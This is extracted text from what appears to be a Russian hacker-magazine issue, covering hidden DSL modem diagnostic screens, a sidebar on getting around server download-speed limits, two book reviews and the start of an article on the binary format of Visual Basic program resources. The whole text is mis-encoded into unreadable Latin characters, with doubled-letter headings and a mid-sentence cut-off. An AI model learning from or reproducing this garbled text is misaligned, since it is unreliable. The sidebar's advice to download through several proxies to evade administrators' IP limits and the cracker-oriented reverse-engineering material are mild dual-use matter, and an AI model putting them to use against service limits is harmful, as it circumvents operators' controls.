ôðîâûâàåòñÿ êàê Cell Lass Priority — ïðèîðèòåò ïî-
òåðè ÿ÷åéêè. Öèôðà, ñëåäóþùàÿ çà «CPL», ïîêàçû-
âàåò, ìîæåò îí áûòü ïîòåðÿí (1) èëè íå ìîæåò (0).
Ïðèîðèòåò íàçíà÷àåòñÿ êàê ñàìèì DSL-ìîäåìîì,
òàê è îêîíå÷íûì îáîðóäîâàíèåì.) Â ëþáîì ñëó÷àå
ýòî ïðèíÿòûå ÿ÷åéêè. Íåïðèíÿòûå óêàçûâàþòñÿ â
ãðàôå Unroutable Cells, è íà íîðìàëüíûõ êàíàëàõ ñ
èñïðàâíûì ìîäåìîì çäåñü äîëæåí íàëè÷åñòâî-
âàòü íîëü. Òàêæå îáðàòè âíèìàíèå íà êîëè÷åñòâî
HEC-îøèáîê (Heder Error Control). Íåíóëåâîå çíà-
÷åíèå ñâèäåòåëüñòâóåò î ïðîáëåìàõ ñâÿçè, è ÷åì
áîëüøå ýòî çíà÷åíèå, òåì àêòóàëüíåå ïðîáëåìû.
Ñëåäóþùàÿ âêëàäêà, ïî ñóòè, ïðîäîëæàåò ïðåäû-
äóùóþ è ïðèâîäèò ñòàòèñòèêó ïî «õîðîøèì» áàé-
òàì è ôðåéìàì. Åùå îíà ñîîáùàåò îáùåå êîëè÷å-
ñòâî «îòáðîøåííûõ» ôðåéìîâ è áàéò (íà íîðìàëü-
íûõ êàíàëàõ è òî è äðóãîå äîëæíî áûòü ðàâíî íó-
ëþ). Äàëåå ñëåäóþò: îøèáêè CRC, ÷èñëî ïàêåòîâ ñ
íåïðàâèëüíîé äëèíîé, îøèáêè òàéì-àóòà. Âñå îíè

òîæå äîëæíû áûòü ðàâíû íóëþ èëè, âî âñÿêîì ñëó-
÷àå, áëèçêè ê íåìó.
Ïîñëåäíÿÿ âêëàäêà Physical Layer Statistic öåëè-
êîì è ïîëíîñòüþ ïîñâÿùåíà õàðàêòåðèñòèêàì ôè-
çè÷åñêîãî êàíàëà ñâÿçè, òî åñòü òåëåôîííîãî êà-
áåëÿ. Noise margin — íå ÷òî èíîå, êàê çàïàñ ïîìå-
õîóñòîé÷èâîñòè. Åñòåñòâåííî, ÷åì îí áîëüøå, òåì
ëó÷øå. Âîîáùå-òî óðîâåíü çàøóìëåííîñòè êàíà-
ëà ïðèíÿòî âûðàæàòü â íåñêîëüêî èíûõ åäèíèöàõ,
òî åñòü â RMS Noise Energy — ñðåäíåêâàäðàòè÷-
íîé ìîùíîñòè øóìà, åå âëèÿíèå íà êà÷åñòâî ïå-
ðåäà÷è îïèñàíî â òàáëèöå 3. Ïî íåé ìîæíî ïðè-
áëèçèòåëüíî îöåíèòü ñâîþ ëèíèþ («ïðèáëèçè-
òåëüíî» — ïîòîìó ÷òî äëÿ òî÷íîãî ïåðåñ÷åòà
íåîáõîäèìî çíàòü ìàêñèìàëüíûé óðîâåíü øóìà,
ïðè êîòîðîì ìîäåì åùå ñîãëàøàåòñÿ ðàáîòàòü, íî
îí íåèçâåñòåí íàì).

Ïîëå Attenuation îïðåäåëÿåò çàòóõàíèå ñèã-
íàëà â ëèíèè. ×åì îíî âûøå, òåì íèæå êà÷åñòâî
ëèíèè è, ñëåäîâàòåëüíî, ìåíüøå ñêîðîñòü ïåðåäà-
÷è-ïðèåìà äàííûõ.

Ìàãè÷åñêàÿ êíîïêà Bit Loading âûâîäèò íà
ýêðàí çàìå÷àòåëüíóþ ãèñòîãðàììó, ãäå îòîáðàæà-
åòñÿ ðàñïðåäåëåíèå ñêîðîñòè ïåðåäà÷è â áèòàõ ïî
÷àñòîòàì. Äåëî â òîì, ÷òî â ADSL-ïðîòîêîëå âåñü
÷àñòîòíûé äèàïàçîí íàðåçàåòñÿ íà êðîõîòíûå êó-
ñî÷êè, êàæäûé èç êîòîðûõ èñïîëüçóåòñÿ íåçàâèñè-
ìî îò îñòàëüíûõ. ×åì âûøå çàøóìëåííîñòü íà
äàííîì ó÷àñòêå, òåì íèæå áèòîâàÿ ïëîòíîñòü (ñêî-
ðîñòü ïåðåäà÷è) è, ñîîòâåòñòâåííî, íàîáîðîò.

×åì áîëüøå ïðîâàëîâ (è ÷åì îíè ãëóáæå), òåì
âûøå óðîâåíü çàøóìëåííîñòè ëèíèè. Ñðàâíèâàÿ
ãèñòîãðàììû, ïîëó÷åííûå â ðàçíîå âðåìÿ, ìîæíî
ïîïðîáîâàòü ëîêàëèçîâàòü âîçìîæíûé èñòî÷íèê
ïîìåõ, ïîñêîëüêó áîëüøèíñòâî èñòî÷íèêîâ âêëþ÷à-
þòñÿ è âûêëþ÷àþòñÿ â îïðåäåëåííîå âðåìÿ.

ëàáîðàòîðíûå èèñïûòàíèÿ ïîêàçûâàþò (www.ra-

dioradar.net/staty/staty2005-02-25_18-39-56.php), ÷òî îñíîâ-
íîé âêëàä â ñêîðîñòü ïåðåäà÷è äàííûõ âíîñèò ÷à-
ñòîòíàÿ õàðàêòåðèñòèêà ëèíèè (íàïðÿìóþ çàâèñèò

îò åå åìêîñòè) è… ýòîò âåçäåñóùèé øóì. Ïðè íèç-
êîì óðîâíå øóìà ñîåäèíåíèå óñòàíàâëèâàåòñÿ äà-
æå íà «çàïðåäåëüíûõ» ðàññòîÿíèÿõ, íåñìîòðÿ íà
çàòóõàíèå. Ñîïðîòèâëåíèå êàáåëÿ — íå ïîìåõà
DSL-ìîäåìó. Ñàìûé æå ñòðàøíûé âðàã — êîíòàêò
ñ çåìëåé, êîòîðûé âîçíèêàåò, êàê ïðàâèëî, â ðå-
çóëüòàòå ïîâðåæäåíèÿ èçîëÿöèè èëè çàìîêàíèÿ
êàáåëÿ. Íèçêî÷àñòîòíûé øóì, ïîðîæäåííûé èì, â
ïåðâóþ î÷åðåäü áüåò ïî èñõîäÿùåìó ïîòîêó, îäíà-
êî è âûñîêî÷àñòîòíîãî øóìà, îáðàçóþùåãîñÿ çà
ñ÷åò àñèììåòðèè ïàðàìåòðîâ ëèíèè, ïðè âêëþ÷åí-
íîì ASDL-îáîðóäîâàíèè òîæå îêàçûâàåòñÿ ïðåäî-
ñòàòî÷íî è ñêîðîñòü ïðèåìà ïàäàåò áóêâàëüíî íà
ãëàçàõ. Òîëüêî íå ïûòàéñÿ «ñóøèòü» êàáåëè íè Â×
òîêîì, íè (òåì áîëåå) ïîäà÷åé â òåëåôîííóþ ñåòü
íàïðÿæåíèÿ â 220 Âò. Òîëüêî ñîææåøü îêîíå÷íîå
îáîðóäîâàíèå (îíî, ìåæäó ïðî÷èì, ñòîèò íåõèëûõ
äåíåã), è íåèçâåñòíî, ÷òî ñòàíåò ñ òåëåôîííûì êà-
áåëåì. Êîðî÷å ãîâîðÿ, óãðîáèòü åãî ëåãêî, à òÿíóòü
çàíîâî ïðèäåòñÿ ÿâíî çà ñâîé ñ÷åò…

Äðóãîé ÷àñòíûé äåôåêò — îêèñëèâøàÿñÿ
ñêðóòêà êàáåëÿ èëè íåïðîïàé. Âñòðå÷àåòñÿ
ñïëîøü è ðÿäîì. Áîðîòüñÿ åùå ìîæíî, åñòü õîòü
êàêèå-òî ñïîñîáû, íî ñîñåäñòâî âèòîé ïàðû ñ ÀÂÓ
è ïðî÷èìè ñèñòåìàìè Â×-óïëîòíåíèÿ ïîðîæäàþò
ïîìåõè, èçáàâèòüñÿ îò êîòîðûõ î÷åíü ñëîæíî. Òî
æå ñàìîå îòíîñèòñÿ ê ñèòóàöèè ñ äâóìÿ âèòûìè
ïàðàìè, âèñÿùèìè íà DSL, â îäíîì êàáåëå. Íåî-
æèäàííàÿ ïîòåðÿ ñêîðîñòè âïîëíå ìîæåò îáúÿñ-
íÿòüñÿ òåì, ÷òî êòî-òî èç ñîñåäåé (ïî êàáåëþ)
ïðèîáðåë ñåáå DSL-ìîäåì. Â îòâåò òû èçìåðÿåøü
õàðàêòåðèñòèêè ëèíèè, òåì ñàìûì ïîëó÷àåøü
öåííûé ðåçóëüòàò è óñïåøíî ðàçáèðàåøüñÿ â ñè-
òóàöèè. Âî âñÿêîì ñëó÷àå, áóäåò ñ ÷åì èäòè ê ïðî-
âàéäåðó, ÷òîáû ïîðóãàòüñÿ.

Îñòàëüíûå DSL-ìîäåìû òîæå óìåþò èçìå-
ðÿòü õàðàêòåðèñòèêè ëèíèè, ÷òî ìíîãèå èç íèõ äå-
ëàþò íàìíîãî êðó÷å, ÷åì ZyXEL OMNI USB. Îäíà-
êî êàæäûé ðàç ïðèõîäèòñÿ çàíîâî ñàìîñòîÿòåëüíî
îïðåäåëÿòü «ìàãè÷åñêèå» êîìáèíàöèè.
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Ê ïðèìåðó, ADSL ZyXEL USB630-11 òðåáóåò ñîâåð-
øèòü ñëåäóþùèé îáðÿä. Äâàæäû ùåëêíóòü ìû-
øüþ ïî ïèêòîãðàììå ìîäåìà, îòîáðàæàåìîé â ñè-
ñòåìíîì òðåå. Íà ýêðàíå ïîÿâëÿåòñÿ äèàëîã ADSL
Control and Status ñ ïðÿìîóãîëüíûì ãîëóáûì ëîãî-
òèïîì ZyXEL. Æìåì <Ctrl>+<Shift> è, íå îòïóñêàÿ,
ùåëêàåì ìûøêîé ëîãîòèï. Ïîä ëîãîòèïîì òóò æå
ïîÿâëÿåòñÿ êíîïêà ñ ñîáëàçíèòåëüíûì íàçâàíèåì
Advanced, îíà îòêðûâàåò äèàëîã ñ îãðîìíûì êîëè-
÷åñòâîì ðàçíîîáðàçíûõ âêëàäîê, â êîòîðûõ íå
òàê-òî ïðîñòî ðàçîáðàòüñÿ! Äà íó èõ. Èäåì ê âêëàä-
êå Detonator (õîðîøåå èìå÷êî, íå÷åãî ñêàçàòü) ñ
åäèíñòâåííîé êíîïêîé Monitor Performance. Âñå
êëþ÷åâûå õàðàêòåðèñòèêè ëèíèè ñîñðåäîòî÷åíû
èìåííî çäåñü! Âûçîâ ãðàôè÷åñêîé ãèñòîãðàììû
îñóùåñòâëÿåòñÿ íàæàòèåì êíîïêè Bits Per Tone.

Ìîäåì ADSL USB D-Link DSL 200 Generation II
ïîääåðæèâàåò ñåêðåòíóþ êîìáèíàöèþ <Ctrl>+<F1>,

êîòîðàÿ âûçûâàåòñÿ èç çàêëàäêè Physical Link 
è îòîáðàæàåò âñå íåîáõîäèìûå íàì õàðàêòåðèñòè-
êè. Ìîäåì ADSL USB D-Link DSL 200I äåëàåò òî æå
ñàìîå êîìáèíàöèåé <ALD>+<D>, ìîäåìû ADSL
ZyXEL USB 630-C1 è ADSL ZyXEL USB 630-C1 çà-
êëèíàþòñÿ ïðè ïîìîùè <Alt>+<A>.

Âëàäåëüöàì îñòàëüíûõ ìîäåìîâ ìîæíî ïî-
ñîâåòîâàòü ëèáî òóïî ïåðåáèðàòü âñå êîìáèíàöèè
îäíó çà äðóãîé, ëèáî ïîëàçèòü ïî õàêåðñêèì ôîðó-
ìàì — íàâåðíÿêà êòî-òî óæå ðàñïîòðîøèë äðàé-
âåð è ðàñêîïàë âñå çàêëèíàíèÿ.

çàêëþ÷åíèå. DSL-ìîäåìû åùå õðàíÿò ìíî-
æåñòâî òàéí è ìàãè÷åñêèõ ñïîñîáíîñòåé, ðàñêîâû-
ðÿòü êîòîðûå íàì òîëüêî ïðåäñòîèò. Ýêñïåðèìåí-
òèðóé ñ íàñòîéêàìè, äèçàññåìáëèðóé äðàéâåðû,
ïîòðîøè ñâåæèå ïðîøèâêè! Â îáùåì, îòòÿãèâàéñÿ
ïî ïîëíîé! Ìû æå õàêåðû, à íå ïîëüçîâàòåëè êà-
êèå-íèáóäü â êîíöå êîíöîâ 

îîããððààííèè÷÷ååííèèåå 
ññêêîîððîîññòòèè îîòòääàà÷÷èè
ÄÀËÅÊÎ ÍÅ ÂÑÅ ÑÅÐÂÅÐÛ ÑÎÃËÀØÀÞÒÑß ÎÒÄÀÂÀÒÜ ÄÀÍÍÛÅ Ñ «ÊÐÅÉÑÅÐÑÊÎÉ» ÑÊÎÐÎ-
ÑÒÜÞ, È ×ÀÑÒÎ CPS ÄÅÐÆÈÒÑß ÍÀ ÓÐÎÂÍÅ 25-50 ÊÁ/Ñ, ÊÎÃÄÀ ÄÀÆÅ ÍÀ ÄÂÓÕÌÅÃÀÁÈÒ-
ÍÎÌ ÊÀÍÀËÅ ÌÛ ÂÏÐÀÂÅ ÎÆÈÄÀÒÜ ~256 ÊÁ/Ñ ÈËÈ ÕÎÒß ÁÛ 200. ÏÎ×ÅÌÓ ÆÅ Â ÆÈÇÍÈ
ÂÑÅ ÒÀÊ ÃÀÄÊÎ, ÄÀÆÅ ÊÎÃÄÀ Ó ÒÅÁß DSL?

ÂÎÒ ÏÎÒÎÌÓ È ÃÀÄÊÎ, ×ÒÎ DSL ÓÆÅ ÍÅ ÐÎÑÊÎØÜ, À «ÝÏÈÄÅÌÈß», ÍÀ ÊÎÒÎÐÓÞ ÁÎËÜ-
ØÈÍÑÒÂÎ ÑÅÐÂÅÐÎÂ, ÊÀÊ ÎÊÀÇÀËÎÑÜ, ÏÐÎÑÒÎ ÍÅ ÐÀÑÑ×ÈÒÀÍÎ! ÊÀÊÓÞ ÆÅ ÏÐÎÏÓ-
ÑÊÍÓÞ ÑÏÎÑÎÁÍÎÑÒÜ ÍÓÆÍÎ ÈÌÅÒÜ, ×ÒÎÁÛ ÎÁÑËÓÆÈÂÀÒÜ ÕÎÒß ÁÛ ÍÅÑÊÎËÜÊÎ ÑÎ-
ÒÅÍ «ÑÎÑÓÍÎÂ», ÏÎÄÊËÞ×ÈÂØÈÕÑß ÎÄÍÎÂÐÅÌÅÍÍÎ! ÂÎÒ È ÏÐÈØËÎÑÜ ÀÄÌÈÍÈÑÒÐÀ-
ÒÎÐÀÌ ÏÎÉÒÈ ÍÀ ÊÐÀÉÍÞÞ ÌÅÐÓ, ÎÃÐÀÍÈ×ÈÂ ËÈÁÎ ÊÎËÈ×ÅÑÒÂÎ ÏÎÄÊËÞ×ÅÍÈÉ, ËÈ-
ÁÎ ÑÊÎÐÎÑÒÜ ÎÒÄÀ×È, À ×ÀÙÅ È ÒÎ È ÄÐÓÃÎÅ. ÅÑÒÅÑÒÂÅÍÍÎ, ÏÎËÜÇÎÂÀÒÅËßÌ ÝÒÎ ÍÅ
ÍÐÀÂÈÒÑß, È ÎÍÈ ÂÑÅÌÈ ÑÈËÀÌÈ ÑÒÐÅÌßÒÑß ÂÛÒßÍÓÒÜ ÑÂÎÈ ÇÀÊÎÍÍÛÅ ÃÈÃÀÁÈÒÛ Â
ÑÅÊÓÍÄÓ. ÏÐÀÊÒÈ×ÅÑÊÈ ÂÑÅ ÏÎÏÓËßÐÍÛÅ DOWNLOADER’Û ÏÎÄÄÅÐÆÈÂÀÞÒ ÌÍÎÃÎÏÎ-
ÒÎ×ÍÛÉ ÐÅÆÈÌ (ÊÎÃÄÀ ÎÄÈÍ ÔÀÉË ÊÀ×ÀÅÒÑß ÑÐÀÇÓ Ñ ÍÅÑÊÎËÜÊÈÕ ÌÅÑÒ, ÊÀÆÄÎÅ ÈÇ
ÊÎÒÎÐÛÕ «ÎÁÑËÓÆÈÂÀÅÒÑß» ÑÂÎÈÌ TCP/IP-ÑÎÅÄÈÍÅÍÈÅÌ). ÊÐÎÌÅ ÒÎÃÎ, ÌÎÆÍÎ ÑÊÀ-
×ÈÂÀÒÜ ÍÅÑÊÎËÜÊÎ ÔÀÉËÎÂ ÎÄÍÎÂÐÅÌÅÍÍÎ. ÒÎËÜÊÎ È ÀÄÌÈÍÈÑÒÐÀÒÎÐÛ ÑÎÂÑÅÌ 
ÍÅ ËÎÑÈ. ÎÍÈ ÒÓÒ ÆÅ ÏÐÎÍÞÕÀËÈ ÝÒÎ ÄÅËÎ È ÑÒÀËÈ ÊÎÍÒÐÎËÈÐÎÂÀÒÜ IP! ÑÊÎËÜÊÎ
ÁÛ ÑÎÅÄÈÍÅÍÈÉ ÍÈ ÓÑÒÀÍÀÂËÈÂÀË «ÑÎÑÓÍ», ÑÓÌÌÀÐÍÀß ÑÊÎÐÎÑÒÜ ÎÑÒÀÍÅÒÑß ÒÎÉ
ÆÅ. ÊÑÒÀÒÈ, Â ÐÅÇÓËÜÒÀÒÅ ÁÎËÜØÅ ÂÑÅÕ ÏÎÑÒÐÀÄÀËÈ ÒÅ ÏÎËÜÇÎÂÀÒÅËÈ, ÊÎÒÎÐÛÅ
ÑÈÄßÒ ÍÀ PROXY È ÂÛÍÓÆÄÅÍÛ ÄÅËÀÒÜ ÎÄÈÍ IP ÍÀ ÂÑÅÕ.

Î! PROXY! ÝÒÎ ÆÅ ÏÐÅÂÎÑÕÎÄÍÛÉ ÐÅÖÅÏÒ ÑÏÀÑÅÍÈß! ÅÑËÈ ÊÀ×ÀÒÜ ÔÀÉË ×ÅÐÅÇ ÍÅÑ-
ÊÎËÜÊÎ PROXY-ÑÅÐÂÅÐÎÂ ÎÄÍÎÂÐÅÌÅÍÍÎ, ÒÎ ÀÄÌÈÍÈÑÒÐÀÒÎÐ ÍÈ×ÅÃÎ ÍÅ ÇÀÌÅÒÈÒ…
×ÒÎ Æ, ÄÅÉÑÒÂÈÒÅËÜÍÎ, Â ÍÀÑÒÎßÙÈÉ ÌÎÌÅÍÒ ÀÄÌÈÍÈÑÒÐÀÒÎÐÛ ÍÅ ÃÎÒÎÂÛ ÎÒÐÀ-
ÇÈÒÜ ÒÀÊÓÞ ÀÒÀÊÓ, ÎÄÍÀÊÎ ÍÅÎÁÕÎÄÈÌÎ ÏÎÌÍÈÒÜ, ×ÒÎ ÅÑËÈ ÀÄÌÈÍ ÂÑÅ-ÒÀÊÈ ÄÎÃÀ-
ÄÀÅÒÑß, ×ÒÎ ÅÃÎ ÕÀ×ÀÒ, ÕÀÊÅÐ ÌÎÆÅÒ ÇÀÏÐÎÑÒÎ ÏÎËÓ×ÈÒÜ ÁÀÍ ÍÀ ÍÅÊÎÒÎÐÎÅ ÂÐÅ-
Ìß ÈËÈ ÄÀÆÅ ÍÀ ÂÑÞ ÎÑÒÀÂØÓÞÑß ÆÈÇÍÜ. ÝÒÎ ÐÀÇ.

ÁÎËÜØÈÍÑÒÂÎ ÁÅÑÏËÀÒÍÛÕ ÏÐÎÊÑÈ ÐÀÁÎÒÀÞÒ ÌÅÄËÅÍÍÎ È ÍÅ ÂÑÅÃÄÀ ÀÍÎÍÈÌÍÛ
(ÒÎ ÅÑÒÜ ÓÑÒÀÍÎÂÈÒÜ ÎÐÈÃÈÍÀËÜÍÛÉ IP ÂÑÅ-ÒÀÊÈ ÂÎÇÌÎÆÍÎ). ÝÒÎ ÄÂÀ. ÑÐÅÄÈ ÏÎÏÓ-
ËßÐÍÛÕ DOWNLOADER’ÎÂ ÌÛÙÚÕ’Ó ÍÅ ÈÇÂÅÑÒÅÍ ÍÈ ÎÄÈÍ, ÊÎÒÎÐÛÉ ÁÛ ÏÎÄÄÅÐÆÈÂÀË
ÌÍÎÃÎÏÎÒÎ×ÍÓÞ ÄÎÊÀ×ÊÓ Ñ ÈÑÏÎËÜÇÎÂÀÍÈÅÌ ÐÀÇËÈ×ÍÛÕ PROXY!

ÄÐÓÃÀß ÏÐÈ×ÈÍÀ ÍÈÇÊÎÉ ÑÊÎÐÎÑÒÈ — ÁÀÍÀËÜÍÀß ÏÅÐÅÃÐÓÇÊÀ. ÅÑËÈ ÏÅÐÅÃÐÓÆÅÍ ÎÑ-
ÍÎÂÍÎÉ ÑÀÉÒ, ÏÎÏÐÎÁÓÉ ÍÀÉÒÈ ÅÃÎ ÇÅÐÊÀËÎ. ÅÑËÈ ÏÅÐÅÃÐÓÆÅÍ ÎÄÈÍ ÈÇ ÏÐÎÌÅÆÓ-
ÒÎ×ÍÛÕ ÓÇËÎÂ, ÈÑÏÎËÜÇÓÉ PROXY-ÑÅÐÂÅÐ ÈËÈ… ÊÀ×ÀÉ ÄÀÍÍÛÅ Ñ ÒÎÉ ÑÊÎÐÎÑÒÜÞ, 
Ñ ÊÎÒÎÐÎÉ ÈÕ ÄÀÞÒ. Â ÊÎÍÖÅ ÊÎÍÖÎÂ, ÄÀÆÅ 25 ÊÁ/Ñ — Î×ÅÍÜ ÏÐÈËÈ×ÍÀß ÑÊÎÐÎÑÒÜ.

Âçëîìû PDF. 
100 ïðîôåññèîíàëü-
íûõ ñîâåòîâ 
è èíñòðóìåíòîâ

Ì.: «ÑÏ ÝÊÎÌ», 2006 
/ Ñòþàðä Ñ. / 320 ñòðàíèö
Ðàçóìíàÿ ööåíà: 177 ðóáëåé

Êîãäà-òî PDF áûë ýêçîòè-
êîé, òåïåðü æå ýòîò ôîðìàò

ðàñïðîñòðàíåí íå ìåíüøå, ÷åì Word. Íî ïðè-
÷åì òóò âçëîì? Àâòîð ñ÷èòàåò, ÷òî õàêèíã —
ýòî íå îáÿçàòåëüíî ïðîíèêíîâåíèå â êîìïüþ-
òåðíûå ñèñòåìû èëè íàíåñåíèå óùåðáà.
Ê õàêèíãó îí îòíîñèò ãðóáîå ðåøåíèå ïðîá-
ëåìû èëè îñòðîóìíûé ñïîñîá îáõîäà îãðàíè-
÷åíèé. Èçíà÷àëüíî ôîðìàò PDF áûë òåõíî-
ëîãèåé, âçëîìàòü êîòîðóþ íåâîçìîæíî, à
ïðåäëàãàåìûå ñðåäñòâà ðàáîòû ñ PDF îãðà-
íè÷èâàëèñü òîëüêî ïðîèçâîäèòåëåì Adobe. 
Â êíèãå ïîêàçàíû òå âîçìîæíîñòè PDF-ôîð-
ìàòà, êîòîðûå íåäîñòóïíû â ñòàíäàðòíûõ
ñðåäñòâàõ ðåäàêòèðîâàíèÿ. Òû ñìîæåøü ãå-
íåðèðîâàòü ôàéëû ñ çàêàçíûì êîíòåíòîì
èëè ñîçäàâàòü ôîðìû äëÿ äâóõñòîðîííåé
ñâÿçè. Çäåñü æå ðàññêàçàíî ïðî øèôðîâàíèå
è ðàñøèôðîâêó äîêóìåíòîâ â PDF, ïðåîáðà-
çîâàíèå â ðàñòðîâûé ôîðìàò, çàùèòó îò êî-
ïèðîâàíèÿ, html-îãëàâëåíèÿ è ìíîãîå äðóãîå
âïëîòü äî ñîçäàíèÿ â Acrobat ñöåíàðèåâ íà
Visual Basic, Perl è Java Script.
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Õàêèíã Èíòåðíåò 

Ì.: ÇÀÎ «Íîâûé 
èçäàòåëüñêèé äîì», 2005 /
Ìàêñèì Ëåâèí / 240 ñòðàíèö
Ðàçóìíàÿ ööåíà: 124 ðóáëÿ

Èíòåðíåò áûë è îñòàåòñÿ
ñàìûì íåáåçîïàñíûì ìåñ-

òîì âðåìÿïðåïðîâîæäåíèÿ. Îøèáêè ïðè
ïðîåêòèðîâàíèè ñåðâèñîâ TCP/IP, ñëîæ-
íîñòü êîíôèãóðèðîâàíèÿ õîñòîâ, óÿçâèìûå
ìåñòà â ïðîãðàììàõ è ïðî÷. îòêðûâàþò äëÿ
õàêåðîâ äâåðè â íåïîäãîòîâëåííûå ñåòè. Â
ýòîé êíèæêå äîñòóïíî ðàññêàçàíî îá óñòðîé-
ñòâå ïðîòîêîëà TCP/IP, ðàññìîòðåíû ïðîá-
ëåìû, ñâÿçàííûå ñ áåçîïàñíîñòüþ. Òóò æå
ãîâîðèòñÿ ïðî èñïîëüçîâàíèå SQL-çàïðîñîâ
è ïîëèòèêó áåçîïàñíîñòè ïðè ðàáîòå â Ñåòè.E

A
SY

M
E
D

IU
M





Ðóñèôèêàòîðùèêè, êðýêåðû è ïðîñòî ïðîäâèíóòûå
ïîëüçîâàòåëè äàâíî ïðèâûêëè ðåäàêòèðîâàòü èí-
òåðôåéñû ïðîãðàìì ñ ïîìîùüþ Restorator èëè
Resource Hacker. Ê ñîæàëåíèþ, ýòè óòèëèòû íèêàê
íå âèäÿò ðåñóðñû VB-ïðîãðàìì. Ôîðìàò, â êîòî-
ðîì îíè õðàíÿòñÿ, â ïðèíöèïå, íåñëîæíûé, íî êòî
çàõî÷åò ïèñàòü îòäåëüíûé ðåäàêòîð ðåñóðñîâ ñïå-
öèàëüíî ïîä VB? Íàì æå îñòàåòñÿ òîëüêî èçó÷àòü
ýòîò ôîðìàò ñàìîñòîÿòåëüíî.

Äëÿ íà÷àëà ðàçáåðåì, êàê íàéòè ýòè ñàìûå ðå-
ñóðñû â VB-ïðîãðàììå. Âîçüìåì îðèãèíàëüíóþ òî÷êó
âõîäà â ïðîãðàììó. ×òîáû ïåðåéòè íà íåå èç HEX-ðå-
äàêòîðà HIEW, ïîòðåáóåòñÿ ëèøü çàãðóçèòü exe’øíèê
â äàííûé HEX-ðåäàêòîð è ïî î÷åðåäè íàæàòü <Enter>,
<F8>, <F5>. Òå, ó êîãî îïëà÷åí HIEW, çíàþò, êàê îïòè-
ìèçèðîâàòü ýòó îïåðàöèþ äî êîìàíäíîé ñòðîêè.
Âçãëÿäó ïðåäñòàâèòñÿ ïðèìåðíî ñëåäóþùåå:

push 0004042E8 ;'VB5!' 

call ThunRTMain ;MSVBVM60 --?2

Òåïåðü ñ÷èòûâàåì ñòðóêòóðó VBHeader ïî àäðåñó
0004042E8 (òàáëèöà 1). Êàê íè ïàðàäîêñàëüíî, äëÿ
èññëåäîâàíèÿ áîëüøå íå ïîòðåáóþòñÿ íèêàêèå
ñòðóêòóðû — âñå íóæíîå âûöåïèì èç VBHeader.

Ìîùíàÿ ñòðóêòóðà, äà? Âñå ýëåìåíòàðíî! Íàì ïî-
òðåáóåòñÿ òîëüêî FormCount (÷òîáû îïðåäåëÿòü
÷èñëî ôîðì) è óêàçàòåëü íà ñòðóêòóðû, îïèñûâàþ-
ùèå ôîðìû, — aGUITable. Ñòðóêòóðó GUITable
ñìîòðè íà òàáëèöå 2.

Òàêèõ ñòðóêòóð ñòîëüêî æå, ñêîëüêî ôîðì â
ïðîåêòå, è îíè èäóò îäíà çà äðóãîé. ×òîáû ïîëó-
÷èòü àäðåñ íà÷àëà ôîðìû, ê aFormPointer ïðèáàâ-
ëÿåì 93. Ýòîò àäðåñ äîëæåí óêàçûâàòü íà äëèíó
èíôîðìàöèè î ôîðìå. Åñòü íåáîëüøàÿ õèòðîñòü:
àäðåñ ìîæåò çàíèìàòü 2 ëèáî 4 áàéòà. Åñëè ñ÷è-
òàííûé DWORD îò_AND’èòü ñ &H80000000, òî ìû
îïðåäåëèì ÷èñëî áàéò èíôîðìàöèè. Åñëè DWORD
ñîäåðæèò ôëàã &H80000000, òî äëèíà çàïèñàíà â
4 áàéòà. Â ïðîòèâíîì ñëó÷àå — â äâà. Ïîñëå äëè-
íû èäåò ñîáñòâåííî îïèñàíèå ôîðìû è ëåæàùèõ
íà íåé êîíòðîëîâ. Âîò îíî! Êàê ðàç òî, ÷òî èñêàëè!
Òåïåðü íàñòàëî âðåìÿ ðàçîáðàòüñÿ ñ áèíàðíûì
ôîðìàòîì ôîðì è êîíòðîëîâ.

áèíàðíûé ôôîðìàò ôôîðìû. Êîãäà-òî, âî âðå-
ìåíà VB 1.0 for DOS, âñå ôîðìû ñîõðàíÿëèñü ïî

óìîë÷àíèþ â áèíàðíîì ôîðìàòå è ýòî ñ÷èòàëîñü
íîðìàëüíûì. Ñîâðåìåííûå æå ëþäè, ïðèâûêøèå
ðåäàêòèðîâàòü frm-ôàéëû ïðÿìî â áëîêíîòå, ñ òðó-
äîì ïðåäñòàâëÿþò ñåáå, ÷òî òå æå ôîðìû ìîæíî
ïðåäñòàâèòü â óïàêîâàííîì áèíàðíîì ôîðìàòå.
Ïî÷åìó óïàêîâàííîì? Ïîòîìó ÷òî óçíàâàòü èí-
ôîðìàöèþ î ïîñëåäíåì êîíòðîëå íà ôîðìå íóæíî
ïîñëå òîãî, êàê ïîñëåäîâàòåëüíî ïðîïàðñèøü âñå
ïðåäûäóùèå êîíòðîëû. Çíà÷èò, äëÿ äîáàâëåíèÿ
íîâîãî ñâîéñòâà êîíòðîëó ïðèäåòñÿ ïåðåïàêîâàòü
âñþ ñòðóêòóðó: ñíà÷àëà äåêîìïèëèðîâàòü åå, ïî-
òîì èçìåíèòü è ñíîâà ñêîìïèëèðîâàòü, êàê ýòî äå-
ëàåò VB. Ñëîæíî, íå ñïîðþ. Íî ÷òî ïîäåëàåøü?

Ñàìûå áîëüøèå ñëîæíîñòè âîçíèêàþò â òîì
ñëó÷àå, åñëè íà ôîðìå ëåæèò ActiveX èëè User-
Control, êîòîðûé íóæíî âûäåëèòü, ÷òîáû íå èçìå-
íèòü åãî íåèçâåñòíûå ñâîéñòâà. Ïðîãðàììåðû áî-
ÿòñÿ âñåõ ýòèõ ñëîæíîñòåé, ïîýòîìó ïî ñåé äåíü
íå íàïèñàíî íè îäíîãî íîðìàëüíîãî ðåäàêòîðà
èíòåðôåéñà VB-ïðîãðàìì è ðóñèôèêàòîðû ê VB-
ïðîãðàììàì ïðàêòè÷åñêè íèêåì íå ñîçäàþòñÿ.

èèììïïëëààííòòààííòòûû
ïïûûøøííûûõõ ôôîîððìì
ÈÑÊÓÑÑÒÂÎ ÐÅÄÀÊÒÈÐÎÂÀÍÈß 
ÈÍÒÅÐÔÅÉÑÀ ÏÐÎÃÐÀÌÌ ÍÀ VB
ÎÏÛÒÍÛÌ ÊÐÝÊÅÐÀÌ ÈËÈ ÐÓÑÈÔÈÊÀÒÎÐÙÈÊÀÌ ÍÀÂÅÐÍßÊÀ ÏÎÏÀÄÀËÈÑÜ ÏÐÎ-
ÃÐÀÌÌÛ, ÍÀÏÈÑÀÍÍÛÅ ÍÀ VB. ×ÒÎ ÈÍÒÅÐÅÑÍÎ, ÍÀ ÄÀÍÍÛÉ ÌÎÌÅÍÒ ÍÅÒ ÑÎÂÑÅÌ
